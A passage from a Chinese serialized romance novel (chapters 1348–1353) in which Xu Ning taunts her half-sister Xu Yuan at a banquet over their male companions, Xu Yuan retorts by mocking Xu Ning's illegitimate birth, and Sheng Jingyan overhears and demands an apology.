她觉得许愿一定是在演戏,一定是在强撑! “你少装了!”许宁的声音带着一丝哭腔,尖声叫道,“你就是嫉妒我!你明明喜欢傅京礼,却装作不在乎!许愿你还在演戏!你以为我会相信你说的这些吗!你少撒谎了!” 许愿还是那副淡淡的模样。 许宁显然恍惚了一瞬,眸光游离,像是被许愿那副无动于衷的模样击中了神经,心底的怒火和不甘在血液里汹涌翻腾。 她原本微颤的身体,突然绷紧,随即,咯咯的笑声自她喉咙溢出,带着刻意的张扬和尖锐。 那笑声回荡在两人之间的狭窄空间,像玻璃碎片相互摩擦,刺耳而冰冷。她的笑容里充满了挑衅,眼角弯起,却无半分暖意,只有满满的嘲讽和得意,仿佛终于抓到了许愿的软肋,迫不及待要将她踩进尘埃。 她向前一步,高跟鞋在地面敲出清脆的响声,许宁的下巴微抬,目光如利刃般直刺许愿,声音拔高,带着一种揭穿真相后的快感:“许愿,你别装了!你真以为我没看过你对傅京礼是多膜拜、多喜欢吗?” 她故意顿了顿,想捕捉许愿脸上任何一丝破绽。 然而,许愿只是静静地看着她,眼神深邃,像一潭幽静的湖水,不起半点波澜。 这副模样,更是激起了许宁的胜负欲。 “你的日记里面都写的清清楚楚!”许宁的声音里充满了控诉,每一个字都像是从牙缝里挤出来的,“你甚至为了他报了帝都大学,否则你最心仪的学院根本不是帝都大学!” 她越说越激动,手指不自觉地攥紧了礼服的裙摆,指节泛白,“你早就被海外名校择优录取,早就收到了教授发给你的邮件,对方多次邀约你去海外念书!这些,你敢否认吗?” 许宁步步紧逼,眼神里闪烁着一种近乎疯狂的光芒:“你不还是为了傅京礼放弃了那次机会,留在了帝城?如果这都不算喜欢,还有什么算喜欢?”她几乎是喊出了最后几个字,声音尖利,带着一丝胜利者的傲慢。 “你早就为了傅京礼一步又一步的退让了,我看你根本满心满眼都是傅京礼!”许宁的语气充满了鄙夷和不屑,她像是在审判一个失败者,“你现在说这些无非是不想承认罢了!你就是怕丢脸,怕被我知道你这么在乎一个男人!” 许愿的眸光终于有了一丝细微的变化,那双清冷的眸子深处,似乎有什么东西微微闪烁了一下,快得让人无法捕捉。 但她的脸上,依旧维持着那份淡漠,没有辩解,也没有动怒。 许宁将这一切都解读为心虚和强撑。 她心中的得意和报复感更加强烈了,笑声再次响起,咯咯的,充满了嘲讽。 她再次逼近一步,几乎要与许愿面对面,眼神里充满了轻蔑:“许愿,现在傅京礼是我的男伴,以后我们会在一起,甚至会结婚!”她一字一顿,“你永远不可能跟傅京礼在一起,我们两个才是天造地设的一对儿!至于你?也就只能在一旁看着,羡慕着,嫉妒着!” 她故意用“天造地设”来形容自己和傅京礼,就是要狠狠地刺痛许愿。 她要让许愿知道,她想要的一切,都会被自己夺走,包括她最爱的男人。 许宁又咯咯笑了起来,那笑声里充满了对许愿的奚落和嘲讽。她环视四周,像是在寻找什么,然后目光精准地落在了远处某个方向,嘴角勾起一抹更加恶劣的弧度。她转回头,眼神像淬了毒的针,扎向许愿:“我的男伴,是你最喜欢的人,只可惜,你喜欢的人已经是我的了。”她故意停顿,欣赏着许愿那几乎没有任何变化的表情,心中却莫名升起一股焦躁。 她要将这场胜利的宣言进行到底,于是,她将矛头指向了许愿身边的男伴,声音里充满了毫不掩饰的鄙夷和看不起:“至于你?” 许宁嗤笑一声,摇了摇头,眼神里是赤裸裸的轻蔑,“许愿,你看看你的男伴,那可是圈内渣得人尽皆知的盛景炎!” 她特意将“渣得人尽皆知”几个字咬得极重,像是在甩出一张羞辱性的标签,狠狠地贴在许愿和盛景炎的身上。 “你看看他,身边的女人换得比衣服还勤,绯闻不断,名声烂透了。你许愿,堂堂许家大小姐,居然要跟这种男人一起出席重要的场合,也不怕丢了自己的身份!” 许宁的语气里充满了优越感,仿佛自己站在了道德的制高点,而许愿,则是自甘堕落,跌入了泥潭。 “你为了傅京礼,放弃了多少?结果呢?换来的是什么?一个连自己都管不住的浪荡子做男伴!” 许宁毫不留情地奚落着,眼神里充满了对盛景炎的厌恶,以及对许愿选择的鄙夷,“你看看我们,我和傅京礼,郎才女貌,门当户对,是所有人眼中的金童玉女。而你,和那个盛景炎站在一起 ……呵,念出盛景炎的名字我都会觉得是对我的一种侮辱呢。” 第1348章 盛家也是一团乱麻 许宁说着,还特意低头整理了一下自己与温栩栩同款的礼服,动作优雅,眼神却充满了挑衅地看向许愿。 她就是要在每一个细节上,碾压许愿,无论是男伴,还是品味。 “你费尽心机,结果却只能和这种男人为伍,而我,轻轻松松就能得到你梦寐以求的一切。许愿,你是不是很不甘心?很嫉妒?可惜,这世上没有后悔药。” 她的眼神里充满了看透一切的得意:“你装出一副不在乎的样子,其实心里早就恨死我了吧?恨我抢走了傅京礼,恨我拥有了你想要却得不到的幸福。但是没办法,这就是命,你注定只能看着我,和京礼,幸福地在一起。” 许宁的每一句话,每一个眼神,都充满了对许愿的奚落、嘲讽和看不起。她将自己塑造成胜利者,将许愿描绘成一个失败、可怜、只能仰望她幸福的loser。 她要将许愿从里到外,从情感到选择,都贬低得一文不值。 “我和盛景炎之间的事情还轮不到你来评头论足插进来。”许愿神色冷淡,只是眼底的凉意多了几分,许宁哈的笑了一声。 许宁的嘲讽声,像一把淬毒的利刃,裹挟着刻薄与幸灾乐祸:“到现在了还在为盛景炎说话开脱呢?” “还需要我告诉你,盛景炎是个什么人吗?”许宁的唇角勾起一抹恶意的弧度,那笑容里没有半分善意,只有赤裸裸的鄙夷和轻蔑。 她微微侧过头,一缕精心打理的发丝垂落鬓边,却丝毫未能增添她的温柔,反而衬得她的眼神更加凌厉。 她那双原本还算清亮的眸子,此刻正闪烁着一种近乎恶毒的快意,仿佛正在欣赏一件自己精心策划的杰作终于得以呈现,那种掌控一切的优越感让她浑身都散发着一种凌驾于人之上的气场。 她故意拖长了语调,每一个字都像是经过精心打磨,带着一种居高临下的审判意味,清晰地砸向许愿:“盛景炎身边的女伴,两只手都数不过来!”说到此处,她甚至刻意停顿了一下,像是在给许愿一个消化这“残酷真相”的时间,又像是在酝酿下一轮更猛烈的攻击。 她微微扬起下巴,姿态优雅但那眼神却如利刃般直刺许愿,其中充满了对盛景炎的极端鄙夷,以及对许愿选择的强烈不解和嘲弄。 “你知道吗?”她继续开口,声音里带着一丝刻意的夸张和强调,“他最快的时候,三天就能换一个人!” 许宁说到这儿,忍不住嗤笑出声,充满了毫不掩饰的不屑和幸灾乐祸。 她甚至伸出自己保养得宜、指甲上涂着精致蔻丹的纤细手指,在许愿面前一根一根地数着,仿佛在列举盛景炎的“风流罪状”,动作带着一丝表演性质的夸张:“三天,许愿,你明白这意味着什么吗?意味着他连最起码的新鲜感都维持不了几天!朝三暮四,用情至浅!” 她的眼神死死地锁定着许愿,企图从她那平静无波的脸上找到一丝裂缝,一丝羞愧,一丝愤怒。 “在他身边待得最久的,也不过才半个月!”许宁的声音陡然拔高,“这种情场浪子,这种不折不扣的花花公子,你竟然也会跟他扯上关系?”她几乎是用质问的语气喊出了最后几个字,眼神里充满了鄙夷和轻蔑,仿佛许愿的选择玷污了整个上流社会的名声。 她微微眯起眼睛,目光像毒蛇一样缠绕着许愿,试图捕捉她脸上任何一丝细微的破绽。 然而,许愿只是静静地听着,眼神深邃如古井,看不出半分喜怒哀乐,这份超乎寻常的平静,反而让许宁心中的嘲讽和攻击欲更加肆无忌惮地膨胀起来。 “跟这样的花花公子在一起,”许宁的语气里充满了“怜悯”,但这怜悯却比任何直接的攻击都更具侮辱性,像是一层裹着糖衣的毒药。 “就算你跟他之间是清清白白的,可在外人眼里,你的清白也已经毁了!你能明白吗?”她刻意加重了“清白”两个字,几乎是咬着牙说出来的,就是要将社会上那些苛刻的偏见和有色眼镜,狠狠地、不留情面地扣在许愿的头上,让她无处可逃。 “许家嫡女,”许宁缓缓吐出这四个字,语气里充满了戏剧性的停顿和浓烈的讽刺,仿佛在念一个可笑的头衔,“多么尊贵的身份啊。可现在呢?”她故意拖长了音调,“堂堂许家嫡女,却要跟一个圈内名声烂透的浪荡子混在一处。你的名声,你的体面,你的矜持,难道都不管不顾了吗?”她一边说着,一边用挑剔的目光上下打量着许愿,眼神里充满了审视和不屑。 “你就不怕成为整个上流圈子的笑柄吗?”许宁的声音压低了些,却更显阴冷,她凑近了一步,高跟鞋在光洁的大理石地面上敲出清脆的响声。 她仔细地观察着许愿的反应,心中那份幸灾乐祸的情绪几乎要从眼底溢出来,嘴角也忍不住向上扬起,勾勒出一个恶劣的弧度。 许宁只要想到这一点,就忍不住想笑。 她嘴角的笑意越来越深,眼角弯起,却无半分暖意,只有冰冷的恶意和报复的快感。 她仿佛已经看到了那些贵妇人聚在一起时,对着许愿的背影指指点点,窃窃私语的模样。 她仿佛已经听到了那些关于许愿“自甘堕落”、“有失身份”、“明珠暗投”的议论,仿佛自己已经成为了那个揭穿谎言、主持“正义”的人。 这种想象,让她感到一种扭曲的满足和前所未有的愉悦,仿佛自己正站在道德的制高点,俯瞰着许愿的“堕落”。 她微微侧身,姿态依旧保持着优雅,但那眼神却像淬了毒的针,缠绕着许愿,不放过她任何一个细微的表情:“盛家的事情,也是一团乱麻。你知道吗?” 她故意将声音压得更低,带着一种分享秘密的口吻,却充满了恶意,“盛家的私生子多得数都数不清,家族内部的斗争激烈得像狗咬狗,乌烟瘴气。所以,最后到底是不是盛景炎能继承家业,都还说不准呢!” 第1349章 盛景炎渣她了吗 她故意将盛家的混乱和盛景炎继承权的不确定性,作为攻击许愿的另一个武器,就是要让她明白,她所依仗的,可能根本就是一座摇摇欲坠的空中楼阁。 “所以,你找盛景炎,”许宁摇了摇头,发出一声夸张的叹息,仿佛在为许愿的“愚蠢”和“无知”感到深深的惋惜,眼神里充满了怜悯和嘲弄,“那在我看来,还真是选错人了。” 她将“选错人”三个字咬得极重,就是要让许愿明白,她的选择是多么的不明智,多么的可笑,多么的不值一提。 在许宁的内心深处,她根本就不太相信人与人之间会有什么纯粹的真情实感。 她的人生信条就是利益至上,一切以获取最大利益为目标。 她自己的每一步选择,都是经过精心计算的。 因此,她本能地认为,许愿选择盛景炎,也一定是看中了盛景炎的身份和背景,只是她“蠢”到没有搞清楚盛景炎在圈内的风评有多差,是个多么不靠谱、多么危险的情场混子。 她甚至在心里暗暗嘲笑许愿的天真和愚蠢,觉得她被表象迷惑,看不清本质。 “不像我,”许宁的语气里充满了自信和优越感,她挺直了背脊,眼神里闪烁着精明的光芒,仿佛在展示自己无懈可击的“正确”选择,“我可是聪明地选了傅京礼。” 她特意将“聪明地”三个字说得很重,拉长了音调,就是要和许愿的“愚蠢”和“错误”形成最为鲜明的对比,彰显自己的高明。 在许宁看来,傅京礼是完全不一样的。 他是板上钉钉的傅家继承人,这一点毋庸置疑,整个圈子里无人不知,无人不晓。 傅家没有盛家那么多乱七八糟的私生子和家族斗争,家风严谨,家业稳固,是圈内人人称羡的典范。 只要她能和傅京礼一直恋爱下去,最后顺理成章地结婚,她就一定会是傅家的家主夫人,傅氏集团的总裁夫人。 这个念头,让她感到一阵晕眩的满足感和强烈的权力欲。 她仿佛已经看到了未来的自己,衣着华贵,妆容精致,站在傅京礼的身边,接受所有人的仰望和羡慕。 聚光灯将打在她的身上,所有的赞誉和荣耀都将属于她。 等到那个时候,她就会成为真正的人上人,身份尊贵,地位稳固,没有人敢再提及她卑微的身世,没有人敢再用异样的眼光看她,更没有人敢再奚落她、嘲笑她。 她将彻底摆脱过去的阴影,站在云端。 而到那时,就算许愿才是许家名正言顺的嫡女,那也绝对比不过她! 一个徒有虚名的嫡女,和一个即将成为傅氏总裁夫人的女人,孰高孰低,一目了然。 她会将许愿远远地甩在身后,让她只能仰望自己的背影。 所以,此刻的许宁,内心充满了前所未有的得意。 这得意不仅仅是因为她暂时占了上风,更是因为她仿佛已经看到了自己辉煌的未来,以及许愿黯淡的结局。 这种得意,让她感到一种前所未有的轻松和愉悦,仿佛自己已经完全地、彻底地踩到了许愿的头上。 她甚至能感觉到血液中涌动的兴奋,让她忍不住想再次笑出声。 她再次审视着许愿,眼神里充满了复杂的意味,有轻蔑,有得意,有挑衅,更有一种“大局已定”的从容。 她甚至轻轻撩了一下自己的头发,动作优雅而自信,仿佛在向许愿宣告,好像暗示许愿就是个彻头彻尾的失败者。 许愿静静地注视着许宁,目光锐利如冰刃,许宁脸上那古怪的表情,那混合着得意、轻蔑与一丝不易察觉的紧张,在许愿眼中显得尤为可笑。 她眼底的凉意愈发明显,如同冬日湖面结着的一层薄冰,清澈却刺骨。 她其实觉得许宁挺可笑的,像一个努力表演却无人喝彩的小丑,拼命想证明自己的优越,却只暴露了内心的空虚和不安。 许愿的嘴角勾起一抹若有若无的弧度,那不是笑,更像是一种对荒诞现实的无声嘲讽。 她甚至懒得和许宁多费口舌,声音清冷,带着一丝不耐:“你说完了吗?说完了就让开。”她的语气平静,却蕴含着不容置喙的疏离与冷漠,像一道无形的墙,将许宁的恶意隔绝在外。 许宁有些不敢置信地看着许愿,眸中充满了错愕和震惊。 她精心准备的长篇大论,她以为会看到许愿的羞愤、狼狈或至少是辩解,可许愿的反应却如此平静,平静得让她感到一种被忽视的愤怒。 她像是被人扼住了喉咙,一时竟有些语塞,片刻后才找回自己的声音,声音里充满了质问和不可置信:“你这是什么反应!” 她提高了音量,试图用音量来掩盖自己的心虚,“你到底清不清楚我现在是傅京礼的人,而你身边的人是圈内有目共睹的渣男盛景炎!” 她特意强调“傅京礼的人”,仿佛这是一个护身符,一个能瞬间压倒许愿的重磅砝码。 她挺直了脊背,试图用姿态来彰显自己的底气,但眼神深处,却闪过一丝不易察觉的慌乱。 许愿闻言,只是淡淡地扬了扬眉,那动作优雅而漫不经心,仿佛在听一个无聊的笑话。 她目光如炬,直直地看向许宁,开口问,声音里带着一丝探究和戏谑:“他渣你了吗?”这句话问得轻飘飘,却像一颗重磅炸弹,在许宁的脑海中轰然炸响。 许宁觉得自己又听错了。 她甚至怀疑自己的耳朵出了问题。 什么叫做“盛景炎渣她了吗”? 这简直是天大的笑话! 她怎么可能会给盛景炎渣自己的机会?她和盛景炎八竿子打不着,她甚至鄙夷盛景炎的为人! 许愿是不是真的疯了?这个疯女人!她脑回路到底是什么构造? 许宁的脸上瞬间涌上一层薄怒,她觉得许愿不仅在侮辱盛景炎,更是在侮辱她的智商。 “我怎么可能看得上盛景炎那种人!”许宁几乎是脱口而出,声音里充满了厌恶和排斥,她像是要急于划清界限,生怕沾染上半分的“污点”。 第1350章 你看不上盛景炎? 听了许宁的话,许愿又在笑了。 这一次,她的笑意终于抵达了眼底,可那笑里面却透露着明显的讽意,剖开了许宁虚张声势的外壳。 她慢条斯理地开口,每一个字都清晰而有力:“你看不上盛景炎?” 她反问了一句,语气里充满了质疑和轻蔑,“可盛景炎的出身清清白白,是名正言顺的盛家嫡子。而你……”她故意顿了顿,目光毫不避讳地扫过许宁的脸,那眼神像冰水一样,让许宁感到一阵刺骨的寒意。 “而你,只是一个被人唾弃的私生女。”许愿毫不留情地戳破了许宁最深的伤疤,声音不大,却字字诛心,“所以,不要轻易说你看不上盛景炎,事实的真相,很可能是盛景炎根本看不上你。” 她将“私生女”三个字咬得极重,就是要让许宁清醒地认识到她与盛景炎之间那道无法逾越的鸿沟。 她微微前倾,压低了声音,却更显压迫感:“你不会真的以为,正统出身的贵族子弟,会真心实意地看上你这样出身的私生女吧?” 这句话像一记重锤,狠狠地砸在了许宁的心上。 许愿的目光锐利紧紧地盯着许宁,不放过她脸上任何一个细微的变化,就是要让她品尝到被戳穿的羞耻和痛苦。 许愿上下打量着许宁几眼,那目光是挑剔的,是审视的,像在评估一件商品的价值。 她的眼神从许宁的头发看到脚尖,又从脚尖回到脸上,明明是很淡的眼神,但就是会让许宁有一种毛骨悚然的错觉。 然后,她才缓缓开口,语气里充满了不屑:“而且,盛景炎的眼光还是很高的。” 她故意停顿,给了许宁一个思考的空间,然后才继续道,“你不够格。”这两个字,直接刺向了许宁的自尊。 “他喜欢身材好的,而你……”许愿的目光在许宁的身上停留片刻,带着一种挑剔的审视,“洗衣板的身材,长得也实在不够漂亮,确实也不在盛景炎的择偶标准之中。” 她将许宁的外貌缺陷一一指出,毫不留情,语气里充满了评价一件劣质品的冷漠。 “所以,你现在这样大张旗鼓地侮辱盛景炎,”许愿的声音里充满了探究和嘲弄,她微微歪头,眼神里带着一丝玩味,“我真的会认为,你是因为盛景炎没有看上你而恼羞成怒,是这样吗,许宁?”她将“恼羞成怒”四个字咬得极重,就是要将许宁所有的攻击,都反弹回去,归结为一种得不到的嫉妒和自卑。 许愿的每一句话,都像一记精准的重击,打在许宁最脆弱的地方。 她先是攻击了许宁最引以为傲的“傅京礼的人”的身份,指出其本质上的不稳固和潜在的危机。 然后毫不留情地揭开了她私生女的出身,这是她内心最深的痛和永远的自卑。 最后,她甚至从外貌上对许宁进行了贬低,彻底粉碎了许宁的优越感。 事实上,许宁心里也清楚,她跟傅京礼之间就是匹配不上的,傅京礼是傅家继承人,是天之骄子高高在上,而她就好像是只能躲在暗处的臭虫。 这样本就出生在泥潭的人要怎么样才能变得干干净净为人看重? 在许宁看来没可能。 所以许宁一直都看不上自己的身份,此刻更是被许愿这番话刺激到脸色发白的程度。 她的身体都因为许愿的话被刺激的在哆嗦。 引以为傲的出身,在许愿口中成了“私生女”的耻辱;她对盛景炎的鄙夷,在许愿看来不过是“盛景炎看不上你”的自欺欺人;她精心维持的优雅仪态,在许愿的审视下显得如此单薄和可笑。 许愿精准地刺穿了她所有的伪装。 她感到一种前所未有的羞辱和愤怒。 她一直试图掩盖、试图忘记的出身,被许愿当众揭开,血淋淋地暴露在空气中。 她下意识地挺了挺胸,想要反驳,却发现自己无力开口。 许愿说的每一个字,都像针一样扎在她的心上,让她无法辩驳。 她想说“我才不在乎盛景炎怎么看我”,可这句话在此刻显得如此苍白无力。 她想说“傅京礼很爱我”,可她心里清楚,傅京礼家族对她的态度始终是微妙的,她的出身始终是一个难以启齿的污点。哪怕傅京礼在意她,可现在也还没到那一步,傅京礼就算维护她,但是也不会为了她跟家族作对。 私生女就是私生女,她心里也清楚自己其实天生就是上不得台面的。 除非以后真的嫁入豪门改写自己的命运,否则她这一辈子都会被人戳脊梁骨。 她的眼神开始闪烁,不再像之前那样咄咄逼人,反而带着一丝慌乱和躲避。她的手不自觉地攥紧了手中的手包,指节因为用力而泛白。 她想维持自己的傲气,可身体的细微动作却出卖了她内心的动摇和不安。 她甚至不敢直视许愿的眼睛,那双眼睛太过清澈,太过锐利,仿佛能看穿她所有的伪装和不堪。 许愿眼底的凉意愈发深了,她轻笑一声说:“你刚才的那些话,听起来更像是一个得不到糖果而哭闹的孩子。你以为踩低别人就能抬高自己?可惜,你的出身,你的外貌,你的品性,都注定了你无法和盛景炎那样的人相提并论。你所谓的‘看不上’,不过是自欺欺人的遮羞布。” 许愿的话好像在此刻完全的显露出许宁内心的贫瘠和空虚。 她一直以来的自信,建立在对许愿的贬低和对未来的幻想之上,此刻却在许愿冷静的剖析下,瞬间崩塌。 她引以为傲的“傅京礼”,在许愿看来,可能只是她一厢情愿的奢望她,极力掩盖的“私生女”身份,成了她永远无法摆脱的枷锁。 许愿最后看了许宁一眼,眼神里没有胜利者的得意,仍然是那样平静的模样。 “让开,”她再次重复道,声音里带着一丝疲惫,“我不想和你浪费时间。” 说完,她从容地从许宁身边走过,姿态优雅淡然。 第1351章 当面说坏话 许宁僵立在原地,脸色苍白,眼神空洞。 她感到一种前所未有的挫败和羞辱,那种感觉,比任何身体上的伤害都要来得剧烈。 她一直试图证明自己比许愿强,可到头来,却发现自己在许愿面前,竟是如此的不堪一击。 她的身份,她的外貌,她的选择,在许愿冷静的剖析下,都显得如此可笑和脆弱。 许愿的话,让她她引以为傲的一切,都在此刻轰然倒塌,只剩下满心的不自信和挥之不去的自卑。 她想哭,却哭不出来,只能死死地攥着手包,指甲几乎要嵌进掌心,用疼痛来提醒自己,这一切都是真的。 宴会厅外的长廊,灯光柔和地洒落,映照出大理石地面的光泽。 许宁站在洗手间门口,胸口剧烈地起伏,眼中燃烧着不甘与怒火,像一头被逼到绝境的困兽。 许愿那冷静从容的姿态,每一句犀利的嘲讽,都像是无形的抽打在她脆弱的自尊上。 凭什么? 凭什么自己永远都要被许愿碾压! 这种念头像藤蔓一样缠绕着她的心脏,让她几乎喘不过气来。 “不行,不能这样!”许宁在心底一遍遍地呐喊,指甲深深嵌入掌心。 她不能接受这种失败,不能接受自己在许愿面前如此不堪一击。 她冲出洗手间。 她一眼就看到了前方那个熟悉的身影,许愿正准备离开。许宁眼中闪过一丝决绝,她猛地冲上前,白皙却带着些许颤抖的手突然伸出,一把抓住了许愿的手臂。 她的动作有些失控,带着孤注一掷的狠劲,手指像铁钳一般死死扣住许愿的臂弯,用尽了全身的力气不肯放开。 许愿猝不及防,身体微微一顿,被迫停下了脚步。 许宁的力气出奇地大,指甲隔着薄薄的衣料几乎要嵌入她的肌肤。 许愿白皙的手臂上,瞬间留下了清晰的红印,几道指痕鲜明地浮现出来,像雪地上的几抹朱砂,触目惊心。 她微微蹙起眉头,带着一丝被打扰的不悦和探究,缓缓转过身来,目光平静地看向身后情绪激动的许宁。 许愿撩起眉梢,那动作带着一丝慵懒和不耐,她看着许宁,语气很轻,却清晰地传入许宁的耳中:“你又想做什么?” 她的声音都好像带着一种无形的压迫感,让许宁的神经瞬间绷紧。 许宁咬紧牙关,指节因为用力而泛白,她死死地盯着许愿,眼眶因为激动而微微发红。 她不服,她不甘,她要质问,她要让许愿清醒! “许愿,”她的声音带着一丝颤抖,却充满了倔强和质疑,“我不相信你真的会选择跟盛景炎一起!盛景炎那种男人……”她顿了顿,像是在积攒勇气,又像是在组织更恶毒的言辞,“他不过是贪图你的美色,他那种男人……” 她的话还未说完,一股更强烈的不安突然从心底升起,让她的话语有些卡顿。 就在这时,不远处的阴影里,突然传来一道带笑的声音,那声音清冽而富有磁性,却裹挟着一丝不易察觉的冷意,清晰地打断了许宁的控诉:“我这种男人,怎么样呢?”声音的主人似乎带着一丝戏谑,语气轻快地说道,“继续说,说来我听听。” 这突如其来的声音像一道惊雷,在许宁的脑海中轰然炸响。 她浑身一僵,血液仿佛瞬间凝固,所有的动作和言语都停滞了。 她缓缓地、僵硬地转过头,循着声音望去。 只见走廊尽头的落地窗前,不知何时倚靠着一个身影。那人穿着一身剪裁合体的黑色西装,身形挺拔,姿态闲适。 他微微侧着头,嘴角噙着一抹似有若无的笑意,正目光灼灼地望向这边。 那双深邃的眼眸在灯光下闪烁着复杂的光芒,仔细听,他的语气中分明带着明显的冷意。 是盛景炎! 许宁的瞳孔猛地一缩,一股寒气从脚底直冲头顶。 她认出了那个声音,那个身影! 刚才自己口无遮拦说的那些话,竟然都被他听到了! 他是什么时候来的? 他听到了多少? 无数个念头在她脑海中疯狂旋转,恐惧和慌乱瞬间淹没了她。 “盛景炎那种男人,是个不折不扣的海王渣男!”许宁的嘴唇哆嗦着,但强烈的自尊心和惯性让她竟然还试图将未说完的话补全,声音却已经带上了明显的颤抖,“以后还可能是争夺家产失败的废物……”她几乎是咬牙切齿地挤出这些字眼,像是在做最后的垂死挣扎,试图用这种方式来挽回一点点颜面,或者说,是给自己一个交代。 盛景炎静静地听完,脸上那抹笑意非但没有消失,反而更深了几分。 他缓缓地直起身,迈着从容不迫的步伐,一步步朝她们走来。 他的步伐很稳,每一步都像是踩在许宁紧绷的神经上。 他开口了,声音里带着一丝玩味的探究,那笑意却丝毫未达眼底:“哦?原来是这样吗?”他微微歪头,目光锐利如鹰隼,紧紧地锁住许宁,“我都不知道我未来会争夺家产失败,你就已经知道了?” 他的语气很轻,甚至带着一丝笑意,但那话语中的冷意令许宁忍不住的身体发抖。 许宁的身体很明显地一颤,仿佛被无形的电流击中。 许宁惊恐的目光撞进了盛景炎那双漆黑的眼眸里。那双眼睛里带着笑意,却深不见底,暗藏着让她心悸的冷意和审视。 她竟然当着盛景炎的面,这样毫无顾忌地辱骂他!这个认知像巨石一样压在她心头,让她几乎窒息。 许宁吓得脸色煞白,身体不受控制地后退了两步,后背重重地撞在了冰冷的墙壁上,才勉强支撑住自己没有瘫软下去。 她的眼睛瞪得很大,充满了恐惧和难以置信,嘴唇翕动着,却发不出任何声音。 盛景炎却还是那副带笑的模样,一双眼眸里面也全都是笑意,只不过那笑意此刻看来充满了虚伪和压迫感,像一张无形的网,将许宁牢牢困住。 第1352章 她不配伤害你 盛景炎停在了许宁面前几步之遥的地方,居高临下地看着她,语气依旧是那种漫不经心的调侃,却带着不容置喙的威压:“刚才不是说得很起劲吗?”他微微前倾,声音压低,带着一丝冰冷的蛊惑,“你倒是继续说啊。” 空气仿佛凝固了。 许愿站在一旁,手臂上的红痕依旧清晰,她看着眼前这戏剧性的一幕,脸上闪过一丝复杂的神色。 许宁此刻已经完全被恐惧所支配。她紧紧地贴着墙壁,身体僵硬,连指尖都在微微颤抖。 盛景炎那看似温和的笑容,在她眼中却比任何狰狞的面孔都要可怕。 她想起自己刚才说过的话,每一句都在此刻变成了最锋利的刀,反过来割伤了自己。 她引以为傲的“聪明”和“底气”,在盛景炎真实的、带着压迫感的存在面前,显得如此可笑和脆弱。 她想道歉,想解释,可喉咙却像被什么东西堵住了一样,一个字也说不出来。 巨大的恐惧和羞辱感将她淹没,她甚至不敢与盛景炎对视,只能慌乱地低下头,看着自己的脚尖。 刚才还支撑着她的那股不服气,此刻已经烟消云散,只剩下无尽的后悔和恐慌。 盛景炎的目光从许宁身上移开,转向了许愿。 他的眼神在触及许愿手臂上的红痕时,微微一顿,眼底的笑意似乎淡了一些,取而代之的是一抹不易察觉的冷冽。 他看着许愿,语气却依旧带着那副漫不经心的腔调:“阿愿,看来你这位‘姐妹’,对我的评价,还真是……别具一格。”他特意在“姐妹”两个字上加了重音,其中的嘲讽意味不言而喻。 但嘲的当然是许宁。 许愿迎上他的目光,神色平静,没有因为盛景炎的出现而表现出丝毫的慌乱。 她只是淡淡地看了眼自己手臂上的痕迹,然后又看向盛景炎,语气淡然:“盛先生,看来你的‘名声’,确实深入人心。”她的话里也带着一丝若有若无的讽刺,既回应了盛景炎,也间接地回击了许宁。 知道盛景炎多次逢场作戏是一回事吗,但许宁说的那些也确实是让许愿有些恼意。 盛景炎低低地笑了起来,笑声在安静的走廊里回荡,带着一丝莫名的意味。 这温柔的笑意显然是对许愿的。 而许宁,则像一个被遗弃的小丑,僵在原地,承受着巨大的心理压力。她感到前所未有的羞辱和绝望,身体的每一个细胞都在叫嚣着逃离,可双腿却像灌了铅一样沉重。 走廊里的气氛压抑到了极点。 盛景炎轻轻啧了一声,那声音带着一丝不满和低沉的磁性,仿佛在空气中漾起一层微澜。 他迈着从容的步伐,一步步走近许愿,每一步都带着无形的压迫感,却又奇异地收敛着锋芒,只为眼前的人而温柔。 他站定在许愿面前,目光落在她白皙手臂上那几道尚未褪去的红痕上,眼底的冷意如潮水般退去,取而代之的是一抹难以掩饰的关切。 他伸出手,动作极轻极缓,骨节分明的手指带着微凉的温度,极其轻柔地抚过许愿手臂上的红痕,那触碰几乎轻若羽毛,带着一种小心翼翼的珍视。他低头凝视着她,声音放得极低,带着一丝沙哑的温柔:“疼吗?”那两个字,轻得像是情人间的呢喃,与刚才对许宁的冷冽判若两人。 许愿微微侧头,目光平静地迎上他的视线,然后轻轻摇了下头。 她的动作很淡,带着一贯的疏离:“起初有点疼,但现在不疼了。”她顿了顿,声音平稳地解释道,“我只是皮肤有些敏感,很容易留下印子,过一会儿就会消的。”她的语气很淡,仿佛在说一件与己无关的小事,但眼底却闪过一丝不易察觉的复杂情绪。 盛景炎听着她的话,指腹依旧在那红痕附近流连,却没有再施加任何力道。 他偏过头,带着审视和不悦瞥了角落里的许宁一眼,眼神锐利如刀,薄唇轻启:“也不是什么人都能在你手臂上留印子的。” 他的话语清晰地传入每个人的耳朵,“她也配?” 许宁站在那里,脸色一阵青一阵白,难堪得几乎要滴出血来。 她很想反驳,很想大声质问盛景炎凭什么这样羞辱她! 但理智拼命地拉扯着她,让她强行压下这股冲动。 她很清楚,私下里嘲讽盛景炎是一回事,那是在自以为安全的范围内发泄怨气,但明面上,尤其是在盛景炎本人面前,她必须足够聪明,足够谨慎。 毕竟,盛景炎是盛家的人,是那个在圈子里呼风唤雨、背景深厚的盛景炎。一旦真的彻底得罪了他,以后在这个圈子里怕是寸步难行,绝不会有好果子吃。 她咬紧了后槽牙,指甲再次深深掐入掌心。 她知道盛景炎再喜欢胡闹,行事不羁,但那也只是他自己的特权,绝不是她许宁可以随意评头论足、妄加指责的对象。 此刻的她,就像一只被踩住了尾巴的猫,所有的尖刺都被强行按了回去,只剩下满心的屈辱和无力。 许宁只想拼命降低自己的存在感,恨不得立刻化作一缕青烟,从这个让她颜面尽失、备受羞辱的地方彻底消失。 她甚至悄悄地挪动了一下脚步,想趁着两人不注意,脚底抹油地溜走。只要离开这里,逃离这令人窒息的视线,她什么都愿意做。 下一秒,盛景炎的声音再度传来:“道歉。” 许宁懵了。 大脑一片空白,所有的思绪仿佛都被这两个字冻结。 她怔怔地站在原地,一时没有反应过来。 盛景炎的目光锐利如鹰隼,牢牢地钉在她身上,见她不动,语气更加冰冷:“我让你道歉。” 巨大的压力和恐惧瞬间将许宁吞没。 她知道,此刻任何的反抗和辩解都是徒劳,只会让自己更加难堪。 她几乎是本能地,带着满心的屈辱和不甘,对着盛景炎微微低下头,声音细若蚊蚋,却清晰地表达着她的屈服:“对……对不起。”她道歉了,为自己刚才愚蠢的辱骂和不敬。 第1353章 弄伤了阿愿难道不该道歉? 许宁冲着盛景炎道歉,然而,盛景炎却像是听到了什么天大的笑话。 他嘴角勾起一抹冰冷的弧度,发出一声短促的冷笑:“谁说这个了?”他的话锋一转,一字一句地命令道,“你弄伤了阿愿,难道不该道歉?” 这个转折,让许宁彻底愣住了。 